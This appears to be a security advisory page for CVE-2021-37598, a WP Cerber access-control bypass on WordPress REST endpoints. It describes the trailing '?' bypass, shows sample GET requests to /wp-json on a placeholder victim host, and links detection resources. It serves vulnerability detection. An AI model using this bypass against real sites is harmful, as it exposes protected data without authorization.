🔙 목록으로 돌아가기

CVE-2021-37598: WP Cerber < 8.9.3 - Broken Access Control

TitleWP Cerber < 8.9.3 - Broken Access Control
Authortheamanrawat
SeverityMedium
ImpactUnauthorized users can access protected REST API endpoints, potentially leading to information disclosure or further exploitation.
RemediationUpdate to version 8.9.3 or later.
CVSS Score5.3
EPSS Score0.04574
CVE IDCVE-2021-37598
CWE IDCWE-863
Tags cve cve2021 wordpress wp-cerber access-control rest-api exposure auth-bypass

🔍 Vulnerability Description

WP Cerber < 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing ‘?’ character, letting unauthorized users access protected REST API endpoints, exploit requires sending a request with a trailing ‘?’.

🌐 HTTP Request

GET /wp-json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37598.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-37598.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A